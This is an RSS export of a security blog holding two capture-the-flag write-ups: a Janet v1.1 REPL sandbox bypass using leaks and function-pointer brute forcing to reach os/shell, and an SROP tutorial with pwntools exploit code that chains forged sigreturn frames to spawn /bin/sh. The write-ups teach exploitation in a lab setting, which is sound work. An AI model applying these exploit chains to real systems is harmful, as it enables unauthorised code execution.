<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Aneesh Dogra’s Blog - Medium]]></title>
        <description><![CDATA[Computer Security, CTFs and Software Development - Medium]]></description>
        <link>https://medium.com/aneesh-dogras-blog?source=rss----84fa080536a8---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Aneesh Dogra’s Blog - Medium</title>
            <link>https://medium.com/aneesh-dogras-blog?source=rss----84fa080536a8---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 12:59:46 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/aneesh-dogras-blog" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Janet v1.1 REPL Sandbox Bypass]]></title>
            <link>https://medium.com/aneesh-dogras-blog/janet-v1-1-repl-sandbox-bypass-f8bbe141a4f1?source=rss----84fa080536a8---4</link>
            <guid isPermaLink="false">https://medium.com/p/f8bbe141a4f1</guid>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[janet]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Aneesh Dogra]]></dc:creator>
            <pubDate>Thu, 01 Apr 2021 04:28:53 GMT</pubDate>
            <atom:updated>2021-04-01T04:51:53.306Z</atom:updated>
            <content:encoded><![CDATA[<p>Janet is a functional and imperative programming language. The entire language (core library, interpreter, compiler, assembler, PEG) is less than 1MB. Last weekend I played the UMassCTF 2021 (with <a href="http://d4rkc0de.com/">d4rkc0de</a>). The CTF had a couple of Sandbox bypass challenges on Janet REPL v1.1. In both the challenges we are given binaries to a REPL (read–eval–print loop) shell which runs Janet. The first one is called “replme”:</p><h3><strong>Replme</strong></h3><blockquote>I found this <a href="https://janet-lang.org/">new programming language</a> and wanted people to be able to try it out.</blockquote><blockquote><a href="http://34.72.244.178:8085/">http://34.72.244.178:8085</a></blockquote><blockquote><a href="http://static.ctf.umasscybersec.org/pwn/8ff0476d-85f1-40f8-84ca-ade94b5b0169/janet.zip">http://static.ctf.umasscybersec.org/pwn/8ff0476d-85f1-40f8-84ca-ade94b5b0169/janet.zip</a><br><br>Author: Created by Jakob#9448</blockquote><p>(<a href="https://drive.google.com/file/d/1igRt_D2DfwA5QkSEsMmDQjYrSf1Nzez0/view?usp=sharing">Mirror for janet.zip in case it goes down.</a>)</p><p>At this point, I had no clue about Janet as a programming language and I <a href="https://janet-lang.org/1.3.1/api/index.html">began trying to dig through different methods, documentation on calling conventions, and variables.</a></p><p>The challenge runs Janet 1.1.0-dev. Some of the interesting methods like os/execute, os/shell, file/open, file/popen all are overloaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*3uHYXmWYoX7r5ucq9KrSXA.png" /><figcaption>os/shell</figcaption></figure><p>Seems like the author has created a blacklist of all nefarious functions in the core library. At first, I tried to go through all the interesting functions in the core lib documentation and found asm is still allowed. At first, I thought I could write some custom Janet bytecode using asm and get access to os/open and other functions. I read through Janet’s instruction set reference: <a href="https://janet-lang.org/docs/abstract_machine.html">here</a>. And wrote this snippet:</p><pre>(defn hello2<br>[]<br>(print “hey!”)<br>)<br>(def some<br>(asm<br>‘{<br> constants @[“/bin/sh” os/shell]<br> :arity 0<br> slotcount 2<br> bytecode @[(lds 0) (ldc 1 0) (push 1) (ldc 1 1) (tcall 1)]<br>}<br>))</pre><pre>(hello2)<br>(some)</pre><p>The explanation for the bytecode:</p><pre>(lds 0) : setup stack frame</pre><pre>(ldc 1 0): ldc loads the 0th index from constants and puts onto a stack variable ($1)</pre><pre>(push 1):  Push $1 on stack</pre><pre>(ldc 1 1): ldc loads the 1st index from constants and puts on a stack variable $1</pre><pre>(tcall 1): call $1</pre><p>In theory, I thought this would help me bypass os/shell, but all my attempts to do that had failed:</p><pre>error: expected integer key<br>  in &lt;anonymous&gt; pc=4<br>  in _thunk [asm_print.janet] (tailcall) at (187:194)</pre><p>The problem here is that the os/shell in constants is not treated as a pointer and putting a function pointer on constants is to be done using quasiquote (,).</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/82ea51a4df904840efbbc63563bfba62/href">https://medium.com/media/82ea51a4df904840efbbc63563bfba62/href</a></iframe><p>Doing this we stumble upon a new error message, with our first leak:</p><pre>./janet asm_print.janet <br>error: could not parse constant “&lt;<strong>tuple 0x5558D9603C40</strong>&gt;”<br> in asm<br> in _thunk [asm_print.janet] (tailcall) at (15:184)</pre><p>In this version of Janet v1.1. quasiqoute is converting the function call to the tuple and is not a valid constant.</p><p>While I was working on this my teammate from <strong>d4rk0de</strong> solved it by using the slurp method. All credits to <strong>downgrade</strong> for this solution<strong>.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*og_dzfnbV-u6gzf_oG5aVg.png" /><figcaption>slurp</figcaption></figure><p>He wrote a fuzzing script to try and run all functions and find which ones worked.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/6ac2ed77746f1a752b109f16473c5b44/href">https://medium.com/media/6ac2ed77746f1a752b109f16473c5b44/href</a></iframe><p>Seems like slurp to be an interesting one as it can be used to read the flag.txt file.</p><pre>(print (slurp &quot;./flag.txt&quot;))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*JxdoewjJjYtedoTFMXNmxQ.png" /><figcaption>replme solution</figcaption></figure><h3>replme2</h3><blockquote>Huh, guess I forgot to blacklist a function in my repl. That should be fixed, now.</blockquote><blockquote><a href="http://34.72.244.178:8090/">http://34.72.244.178:8090</a></blockquote><blockquote><a href="http://static.ctf.umasscybersec.org/pwn/8ff0476d-85f1-40f8-84ca-ade94b5b0169/janet.zip">http://static.ctf.umasscybersec.org/pwn/8ff0476d-85f1-40f8-84ca-ade94b5b0169/janet.zip</a></blockquote><blockquote>Created by Jakob#9448</blockquote><p>(<a href="https://drive.google.com/file/d/1Ut3VzvjKS9oCi7m_q-zr_Zq08wB1rilh/view?usp=sharing">Mirror for janet.zip in case it goes down</a>)</p><p>Now they have blacklisted slurp, but asm is still enabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*EpC0fqcb9BTzt2JtMv-K2A.png" /><figcaption>slurp no longer works</figcaption></figure><p>At this point, I started exploring vectors to get to execute the os/shell function directly in the binary. I loaded the binary (./janet) into gdb and started exploring different functions available.</p><pre>gef_  disassemble os_shell <br>Dump of assembler code for function os_shell:<br>   0x00005555555731e0 &lt;+0&gt;:     push   rbp<br>   0x00005555555731e1 &lt;+1&gt;:     mov    edx,0x1<br>   0x00005555555731e6 &lt;+6&gt;:     mov    rbp,rsi<br>   0x00005555555731e9 &lt;+9&gt;:     xor    esi,esi<br>   0x00005555555731eb &lt;+11&gt;:    push   rbx<br>   0x00005555555731ec &lt;+12&gt;:    mov    ebx,edi<br>   0x00005555555731ee &lt;+14&gt;:    sub    rsp,0x8<br>   0x00005555555731f2 &lt;+18&gt;:    call   0x5555555635f0 &lt;janet_arity&gt;<br>   0x00005555555731f7 &lt;+23&gt;:    test   ebx,ebx<br>   0x00005555555731f9 &lt;+25&gt;:    jne    0x555555573228 &lt;os_shell+72&gt;<br>   0x00005555555731fb &lt;+27&gt;:    xor    edi,edi<br>   0x00005555555731fd &lt;+29&gt;:    call   0x55555555f1d0 &lt;system@plt&gt;<br>   0x0000555555573202 &lt;+34&gt;:    xor    edi,edi<br>   0x0000555555573204 &lt;+36&gt;:    test   eax,eax<br>   0x0000555555573206 &lt;+38&gt;:    movabs rax,0xfff9000000000000<br>   0x0000555555573210 &lt;+48&gt;:    setne  dil<br>   0x0000555555573214 &lt;+52&gt;:    add    rsp,0x8<br>   0x0000555555573218 &lt;+56&gt;:    pop    rbx<br>   0x0000555555573219 &lt;+57&gt;:    add    rdi,rax<br>   0x000055555557321c &lt;+60&gt;:    pop    rbp<br>   0x000055555557321d &lt;+61&gt;:    jmp    0x555555586ca0 &lt;janet_nanbox_from_bits&gt;<br>   0x0000555555573222 &lt;+66&gt;:    nop    WORD PTR [rax+rax*1+0x0]<br>   0x0000555555573228 &lt;+72&gt;:    mov    rdi,rbp<br>   0x000055555557322b &lt;+75&gt;:    xor    esi,esi<br>   0x000055555557322d &lt;+77&gt;:    call   0x555555563a20 &lt;janet_getcstring&gt;<br>   0x0000555555573232 &lt;+82&gt;:    mov    rdi,rax<br>   0x0000555555573235 &lt;+85&gt;:    call   0x55555555f1d0 &lt;system@plt&gt;<br>   0x000055555557323a &lt;+90&gt;:    pxor   xmm0,xmm0<br>   0x000055555557323e &lt;+94&gt;:    add    rsp,0x8<br>   0x0000555555573242 &lt;+98&gt;:    cvtsi2sd xmm0,eax<br>   0x0000555555573246 &lt;+102&gt;:   pop    rbx<br>   0x0000555555573247 &lt;+103&gt;:   pop    rbp<br>   0x0000555555573248 &lt;+104&gt;:   jmp    0x555555586c70 &lt;janet_nanbox_from_double&gt;<br>End of assembler dump.<br>gef_</pre><p>We can see os_shell still exists and calls system but is overloaded and cannot be accessed directly from the Janet code. The binary has all exploit mitigations enabled.</p><pre>[+] checksec for &#39;/root/new/janet&#39;<br>Canary                        : Y(value: 0x4060c088394f3f00)<br>NX                            : Y<br>PIE                           : Y<br>Fortify                       : Y<br>RelRO                         : Partial<br>gef_</pre><p>Due to PIE: pointer to os/shell in binary will always keep on changing. We need to get a leak from the “asm” primitive to calculate os/shell’s pointer and then find a way to somehow control the execution flow to jump to our pointer. I explored all instructions <a href="https://janet-lang.org/docs/abstract_machine.html">from the documentation</a>. Found a set of instructions that create a new array in the heap and return a pointer to that on the stack. mkarr, mkbtp, mkbuf, mkstr ….</p><pre>(def some<br>(asm<br>&#39;{<br>  constants @[&quot;blah&quot; print]<br>  :arity 0<br>  slotcount 2<br>  bytecode @[(lds 0) (ldc 1 0) (push 1) (ldc 1 1) (mkarr 2) (ret 2)]<br>}<br>))</pre><pre>(def- leak_tup (some)) <br>(print leak_tup)<br>(os/sleep 100)</pre><p>I added the sleep at the end to give us time to attach the debugger and analyze the segment addresses.</p><pre>root@ctf2-VirtualBox:~/new# ./janet asm_janet_baby.janet <br>&lt;array 0x5594A499C800&gt;</pre><p>We can verify that our leak is at a constant offset from the base (0x5594A499C800<strong>–</strong>0x5594a496b000 = 202752)</p><pre>gef_ vmmap<br>0x00005594a358d000 0x00005594a3598000 0x0000000000000000 r-- /root/new/janet<br>0x00005594a3598000 0x00005594a35c1000 0x000000000000b000 r-x /root/new/janet<br>0x00005594a35c1000 0x00005594a35ee000 0x0000000000034000 r-- /root/new/janet<br>0x00005594a35ef000 0x00005594a35f2000 0x0000000000061000 r-- /root/new/janet<br>0x00005594a35f2000 0x00005594a35f3000 0x0000000000064000 rw- /root/new/janet<br>0x00005594a35f3000 0x00005594a35f4000 0x0000000000000000 rw- <br><strong>0x00005594a496b000 0x00005594a49ef000 0x0000000000000000 rw- [heap]<br></strong>0x00007f4542349000 0x00007f454234b000 0x0000000000000000 rw- <br>0x00007f454234b000 0x00007f4542352000 0x0000000000000000 r-- </pre><pre>...</pre><p>After we have the heap base we still need a way to get the program base from our leak. At first, I thought of reading some heap pointers that store addresses to some functions in the program memory, but I couldn’t find a way to read arbitrary memory addresses using the “asm” function in Janet.</p><p>After some failed attempts and nudges from <a href="https://twitter.com/0daysfordays">Jakob</a>, I looked at the pattern of heap base and program base addresses:</p><pre>base                | heap<br>0x000055cb3<strong>948c</strong>000  | 0x000055cb3<strong>9692</strong>000<br>0x000056226<strong>3e9d</strong>000  | 0x000056226<strong>50a8</strong>000</pre><p>We can see that the heap base and program base only have 2 bytes of difference and can be brute-forced in 0xffff attempts. Having some idea on how to get the leak to os/shell, I looked around to find some bugs to lead to RCE. In my research, I found a reported security issue on Github. Given the challenge uses v1.1, it&#39;s quite possible some of the old bugs will still be valid. <a href="https://github.com/janet-lang/janet/issues/142">https://github.com/janet-lang/janet/issues/142</a> (credits: <a href="https://github.com/Barakat">Barakat</a>)</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/006eca2c94efd336e9d66fad5fc225e1/href">https://medium.com/media/006eca2c94efd336e9d66fad5fc225e1/href</a></iframe><p>Running the payload crashes the Janet REPL as it tries to jump to 0x123456789ABC (unavailable address).</p><pre>root@ctf2-VirtualBox:~/new# ./janet asm_janet_baby2.janet <br>object: &lt;cfunction 0x123456789ABC&gt;<br>  type: cfunction<br>Segmentation fault (core dumped)</pre><p>Alright now we have a way to leak heap base and a primitive to control RIP, all we need is a way to get os/shell pointer and we can easily access the juicy flag.txt.</p><p>At this point, I had to figure out how to convert my array leak to string and use string/slice to get the address in integer so that we can subtract from it to calculate heap base. Remember we are still in REPL shell so we have to use Janet to achieve all this. I made use of describe, strings/slice, strings/trim, and scan-number to achieve this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/0f393d4994adf91a81b4e71e13f20407/href">https://medium.com/media/0f393d4994adf91a81b4e71e13f20407/href</a></iframe><pre>root@ctf2-VirtualBox:~/new# ./janet leaks.janet <br>&lt;array 0x5561848BB3F0&gt;<br>0x5561848BB3F0<br>5561<br>848BB3F0<br>0x848BB3F0<br>0x5561</pre><p>Note: we have to split the 64 address into two 32 bit parts to be compatible with Janet integer type. After we have the heap base, let&#39;s try and brute force the bytes to generate all possible addresses for the program base:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/2697eedf48ad6a8ced329523a4d25d2d/href">https://medium.com/media/2697eedf48ad6a8ced329523a4d25d2d/href</a></iframe><p>We know that os/shell will always be at a constant offset from the program base i.e 127456.</p><pre>____________________________________________________________________<br>gef_  p os_shell                                                                                                                                        <br>$1 = {&lt;text variable, no debug info&gt;} 0x55ec3d2b61e0 &lt;os_shell&gt;<br>&gt;&gt;&gt; 0x55ec3d2b61e0 - 0x000055ec3d297000<br>127456</pre><p>Now we need a way to test if any of our possible program base addresses are accurate. To do this we can use <a href="https://janetdocs.com/describe">describe</a>:</p><pre>root@ctf2-VirtualBox:~/new# cat gg.janet <br><strong>(print (describe os/shell))</strong><br>root@ctf2-VirtualBox:~/new# ./janet gg.janet <br><strong>&lt;cfunction os/shell&gt;</strong></pre><p>If we have the correct pointer to os/shell, describe call will return cfunction os/shell. Let&#39;s add this logic to our Janet script:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/d225d25813fb012b9b105eea6a66ff47/href">https://medium.com/media/d225d25813fb012b9b105eea6a66ff47/href</a></iframe><p>It will eventually hit the os/shell pointer and execute it for us:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*GHnv-udyLGvI-sto2Iy8ow.png" /><figcaption>exploit_final</figcaption></figure><p>On remote the heap base is off by 0x50, maybe due to the blacklist:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*UkiVmr3x6ZCADh1BuJZXbQ.png" /><figcaption>heap base mismatch on remote</figcaption></figure><p>Final exploit for remote:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/90984079965d9981fdf5e799c67218db/href">https://medium.com/media/90984079965d9981fdf5e799c67218db/href</a></iframe><p>and we get the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*Ot6Q3pCuYli2u8JNQ6HMeg.png" /><figcaption>janet_replme2_solve</figcaption></figure><p>We got the flag just a few minutes after the CTF ended. Nevertheless, it was a great challenge based on a real-world Janet vulnerability and I learned a lot from it. Thanks for reading. Have a good one!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f8bbe141a4f1" width="1" height="1" alt=""><hr><p><a href="https://medium.com/aneesh-dogras-blog/janet-v1-1-repl-sandbox-bypass-f8bbe141a4f1">Janet v1.1 REPL Sandbox Bypass</a> was originally published in <a href="https://medium.com/aneesh-dogras-blog">Aneesh Dogra’s Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Advanced ROP techniques]]></title>
            <link>https://medium.com/aneesh-dogras-blog/advanced-rop-techniques-16fd701909b5?source=rss----84fa080536a8---4</link>
            <guid isPermaLink="false">https://medium.com/p/16fd701909b5</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[operating-systems]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[pwn]]></category>
            <dc:creator><![CDATA[Aneesh Dogra]]></dc:creator>
            <pubDate>Tue, 16 Mar 2021 14:13:52 GMT</pubDate>
            <atom:updated>2021-03-27T20:52:36.187Z</atom:updated>
            <content:encoded><![CDATA[<p>Rop or return-oriented-programming is an exploit technique that is usually used to exploit buffer overflow vulnerabilities in programs running with exploit mitigation features like NX, ASLR, RELRO, etc.</p><p>There are a lot of different ROP chain techniques, a couple of them include:</p><ol><li><strong>ret2libc</strong>: jump directly to a libc address “system”.</li><li><strong>ret2plt</strong>: jump to the Process Linkage Table entry for a function used in the binary and use it to leak GOT pointers — to predict libc version.</li><li><strong>ret2csu</strong>: use the gadgets available in __lib_csu_init to control rdx, rsi, rdi, use it to call execve syscall.</li><li><strong>SROP variant 1</strong>: Use “sigreturn” syscall and crafted Sigreturn Frame to get control of all registers. (assuming we have leaks for /bin/sh pointer and have gadgets to control rax).</li><li><strong>SROP variant 2</strong>: Sigreturn without any straightforward gadgets to control rax. Chaining SROP frames.</li></ol><p>I recently talked about the ret2libc, ret2plt, ret2csu techniques in my talk for DarkCon</p><p><a href="https://github.com/lionaneesh/darkCON-ret2csu/blob/main/ret2libc/solve_abc.py">lionaneesh/darkCON-ret2csu</a></p><p>This repo has exploits for a minimal exploitable program. (ret2libc, ret2plt, ret2csu). Now let&#39;s talk about SROP variants:</p><h4>SROP</h4><p>Signal Return Oriented Programming: <strong>sigreturn (syscall number 15)</strong> can be used to control all registers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i3jAOZJ6N3IMJURLNbJzlw.png" /><figcaption>sigreturn</figcaption></figure><p><strong>Variant 1</strong></p><p>To start with let&#39;s see an example problem from<a href="https://ctftime.org/event/1249"> 0x41414141 2021 </a>CTF recently: moving-signals</p><blockquote>We don’t like giving binaries that contain loads of information, so we decided that a small program should do for this challenge. Even written in some custom assembly. I wonder how this could be exploited</blockquote><blockquote>author: Tango</blockquote><blockquote><a href="https://drive.google.com/drive/folders/17wlyKiaBQmOE7L_pXq87OLI_LUv1-a9u?usp=sharing">File: moving-signals</a></blockquote><p>You can download the sample from my drive: <a href="https://drive.google.com/drive/folders/17wlyKiaBQmOE7L_pXq87OLI_LUv1-a9u?usp=sharing">here</a>. Its a tiny program, just a couple of instructions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*GQDzD343C7HuSEP4gR2HfA.png" /><figcaption>moving-signals</figcaption></figure><p>The program runs a read syscall (syscall number 0) with count 0x1f4 and writes our content on rsp, so we can easily control the return pointer at offset 8.</p><p>At first, it&#39;s hard to make any progress as there are not many useful gadgets or any Process Linkage Table, GOT table entries. (note: rax = 0 at the start of the program). Let&#39;s check the available gadgets using Ropper:</p><pre># ropper -f moving-signals | grep rax<br>[INFO] Load gadgets from cache<br>[LOAD] loading… 100%<br>[LOAD] removing double gadgets… 100%<br>0x0000000000041006: add byte ptr [rax — 0x77], cl; out 0x48, al; sub esi, 8; mov rdx, 0x1f4; syscall; <br>0x0000000000041006: add byte ptr [rax — 0x77], cl; out 0x48, al; sub esi, 8; mov rdx, 0x1f4; syscall; ret; <br>0x0000000000041004: add byte ptr [rax], al; add byte ptr [rax — 0x77], cl; out 0x48, al; sub esi, 8; mov rdx, 0x1f4; syscall; <br>0x0000000000041003: add byte ptr [rax], al; add byte ptr [rax], al; mov rsi, rsp; sub rsi, 8; mov rdx, 0x1f4; syscall; <br>0x0000000000041005: add byte ptr [rax], al; mov rsi, rsp; sub rsi, 8; mov rdx, 0x1f4; syscall; <br>0x0000000000041005: add byte ptr [rax], al; mov rsi, rsp; sub rsi, 8; mov rdx, 0x1f4; syscall; ret; <br>0x0000000000041013: add byte ptr [rax], al; syscall; <br>0x0000000000041013: add byte ptr [rax], al; syscall; ret; <br>0x0000000000041002: mov dword ptr [rax], 0x48000000; mov esi, esp; sub rsi, 8; mov rdx, 0x1f4; syscall; <br>0x000000000004100d: or byte ptr [rax — 0x39], cl; ret 0x1f4; <br>0x000000000004100c: out dx, al; or byte ptr [rax — 0x39], cl; ret 0x1f4; <br><strong>0x0000000000041018: pop rax; ret;</strong></pre><p>In this case:</p><ol><li>we have a pop rax, ret gadget which we can use to control rax and call sigreturn.</li><li>Also, we have the /bin/sh string in the binary itself.</li></ol><pre><br>gef_ search-pattern “/bin/sh”<br>[+] Searching ‘/bin/sh’ in memory<br>[+] In ‘/root/41414141/moving-signals’(0x41000–0x42000), permission=rwx<br> 0x41250–0x41257 _ “/bin/sh” <br>gef_</pre><p>Now we can call sigreturn with a forged sigreturn frame to call execve (syscall number 59), we need to set up 4 registers for that rax, rdi, rsi, rdx. rax=59, rdi=binsh_ptr, rsi=0, rdx=0.</p><p>We can use pwntools to create a forged sigreturn frame and put it on the stack. (<a href="https://docs.pwntools.com/en/latest/rop/srop.html">https://docs.pwntools.com/en/latest/rop/srop.html</a>)</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/6cdce54002a0230ce1b59a2389e1292c/href">https://medium.com/media/6cdce54002a0230ce1b59a2389e1292c/href</a></iframe><p>The first sigreturn call:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qKr02hsbqemL0ZCJWWf0Wg.png" /><figcaption>sigreturn</figcaption></figure><p>After Sigreturn:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e3ut6B1T22McQg_hN_f7_g.png" /><figcaption>after sigreturn</figcaption></figure><p>We can see that rax=0x3b and rdi, rsi, rdx are set the “/bin/sh”, 0, 0 respectively.</p><pre>gef_  c<br>Continuing.<br>process 28539 is executing new program: /usr/bin/dash<br>Warning:<br>Cannot insert breakpoint 1.<br>Cannot access memory at address 0x4100e</pre><p>Seems like we executed /bin/sh, lets try it on the binary outside gdb.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*tEccsxb3VUTS-g5WRFoUow.png" /><figcaption>moving-signals solve</figcaption></figure><p><strong>Variant 2</strong></p><p>For the second challenge we have a binary from NahamCON 2021:</p><blockquote>Author: @M_alpha#3534</blockquote><blockquote>I’m starting to get pretty good at this whole programming thing. Here’s a basic program I wrote that will echo back what you say.</blockquote><p>You can download the sample from my drive <a href="https://drive.google.com/file/d/1CKDjzy-LaFmzisjLCqRY3twv4RoFgcz5/view?usp=sharing">here</a>. It&#39;s a tiny program with “read” and “write” functions (no PLT, GOT tables):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*8M3Rp11-VBdfcftFqLebpA.png" /><figcaption>some-really-ordinary-program (main)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*awyEDk7dPLGXR5_1VwOSmg.png" /><figcaption>write</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*FTjoN6tGvvrH7tYMlQr3QA.png" /><figcaption>read</figcaption></figure><p>In this binary we don&#39;t have any gadgets to directly control rax like the last one:</p><pre>root@ctf2-VirtualBox:~/naham# ropper -f some-really-ordinary-program | grep &quot;pop rax&quot;<br>[INFO] Load gadgets from cache<br>[LOAD] loading... 100%<br>[LOAD] removing double gadgets... 100%<br>root@ctf2-VirtualBox:~/naham#</pre><p>Also, we don&#39;t have any /bin/sh string in the binary:</p><pre>gef_  search-pattern &quot;/bin/sh&quot;<br>[+] Searching &#39;/bin/sh&#39; in memory<br>gef_</pre><ol><li>The trick is to remember rax is used by Linux syscalls to transmit return codes. If we can control the return value of any syscall available in the binary we can use that to call sigreturn.</li><li>But the puzzle doesn’t end there. Remember we don&#39;t have any /bin/sh string in the binary. We can use the existing write function to write /bin/sh somewhere in the .bss/.data segment.</li><li>For this case, we need to forge 2 different SigreturnFrames and chain our calls in a way to achieve RCE.</li><li>We first write /bin/sh at some constant location using the first frame and use this pointer in the second frame to call execve.</li></ol><p>Here’s an exploit that does all this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/f8d428442a87925582e28138382f2a1d/href">https://medium.com/media/f8d428442a87925582e28138382f2a1d/href</a></iframe><p>To walk through the exploit lets first understand the first phase of the exploitation: the part where are trying to control rax and set it to sigreturn’s syscall number and generating a forged frame to help us call read and pivot the stack:</p><pre><strong>...<br>data = 0x402000 + 0x1f4 # added 0x1f4 to avoid going out of bounds stack in main, note main does sub esp, 0x1f4</strong></pre><pre>#create a frame to read into .bss<br>frame = SigreturnFrame(arch=&quot;amd64&quot;, kernel=&quot;amd64&quot;)<br><strong>frame.rax = 0 # rax = 0, read<br>frame.rdi = 0 # rdi = fd = 0 = stdin<br>frame.rsi = data # rsi = buff<br></strong>frame.rdx = len(pay2) # rdx = count<br><strong>frame.rsp = data + 8  # pivot stack to constant .bss/data segment</strong><br><strong>frame.rip = syscall_ret # SET RIP TO SYSCALL ADDRESs</strong></pre><pre><strong>pay = b&quot;A&quot; * 0x1f4 + b&#39;B&#39; * 8 + p64(main) + p64(syscall_ret) + bytes(frame)</strong></pre><pre># sigreturn eax=15</pre><pre>raw_input(&#39;check&#39;)<br>p.sendafter(&quot;get.&quot;, pay)<br><strong>p.sendafter(&quot;get.&quot;, &quot;X&quot;*15) # 15 characters to controll rax, return of read = count of bytes it read (hence we will be setting up rax=15 after this</strong></pre><p>In the above snippet, you can see that we first send the program 0x1f4+8 bytes to reach the return pointer on the stack. We then call main again (hence invoking read again). The read call will then listen for input and we give it 15 characters to help us control rax. After our rax is controlled we then jump to syscall_ret gadget (got it using ropper):</p><pre>0x000000000040100e: syscall; ret;</pre><p>This will invoke sigreturn and pop the frame off the stack, that&#39;s why we follow syscall_ret with the forged frame in the payload:</p><pre><strong>pay = b&quot;A&quot; * 0x1f4 + b&#39;B&#39; * 8 + p64(main) + p64(syscall_ret) + bytes(frame)</strong></pre><p>Frame is generated using pwntools and here we are setting rax = 0 (read), rdi = 0 (stdin), rsi=constant_data_segment, rdx=count, rsp=pivot_stack.</p><pre>...<br>#create a frame to read into .bss<br>frame = SigreturnFrame(arch=&quot;amd64&quot;, kernel=&quot;amd64&quot;)<br><strong>frame.rax = 0 # rax = 0, read<br>frame.rdi = 0 # rdi = fd = 0 = stdin<br>frame.rsi = data # rsi = buff<br></strong>frame.rdx = len(pay2) # rdx = count<br><strong>frame.rsp = data + 8  # pivot stack to constant .bss/data segment</strong><br><strong>frame.rip = syscall_ret # SET RIP TO SYSCALL ADDRESs<br></strong></pre><p>Note: data is set to .bss_start + 0x1f4 because we will jump to main again to control rax and at the start of main we have sub rsp, 1F4h. To make sure we don&#39;t end up in an invalid location we have to set data to <strong>0x402000 + 0x1f4</strong></p><p>This will set the stack to our controlled constant location and we can then set up the contents at this location to generate the second phase of the exploit:</p><pre>...<br># frame to call execve<br>frame2 = SigreturnFrame(arch=&quot;amd64&quot;, kernel=&quot;amd64&quot;) # CREATING A SIGRETURN FRAME<br><strong>frame2.rax = 59<br>frame2.rdi = data # rdi = binsh_ptr<br></strong>frame2.rsi = 0<br>frame2.rdx = 0<br>frame2.rip =<strong> </strong>syscall_ret # SET RIP TO SYSCALL ADDRESS</pre><pre><strong>pay2 = b&quot;/bin/sh\0&quot; + p64(main) + p64(syscall_ret) + bytes(frame2) # this is a payload to setup the stack using read</strong></pre><pre>p.sendafter(&quot;X&quot; * 15, pay2)<br>p.sendafter(&quot;get.&quot;, &quot;Y&quot; * 15)<br>p.interactive()<br>...</pre><p>In the read call, we set up the /bin/sh string at a constant address (<strong>0x402000 + 0x1f4</strong>).<strong> </strong>Also, we set up the call stack to let us call “main” and set up the second frame to help us jump to it after rax is controlled by the “read” in “main”. This will indeed call execve with our /bin/sh pointer, resulting in a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*0yyFPX8Useblqffwm5e8Rg.png" /><figcaption>solve_orinary exploit</figcaption></figure><p>SROP is a really powerful technique to get RCE even when we have very limited gadgets available in the binary. Hopefully, this article sheds some light on when and how it&#39;s useful. Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=16fd701909b5" width="1" height="1" alt=""><hr><p><a href="https://medium.com/aneesh-dogras-blog/advanced-rop-techniques-16fd701909b5">Advanced ROP techniques</a> was originally published in <a href="https://medium.com/aneesh-dogras-blog">Aneesh Dogra’s Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reversing libfuse malware]]></title>
            <link>https://medium.com/aneesh-dogras-blog/reversing-libfuse-malware-253503994431?source=rss----84fa080536a8---4</link>
            <guid isPermaLink="false">https://medium.com/p/253503994431</guid>
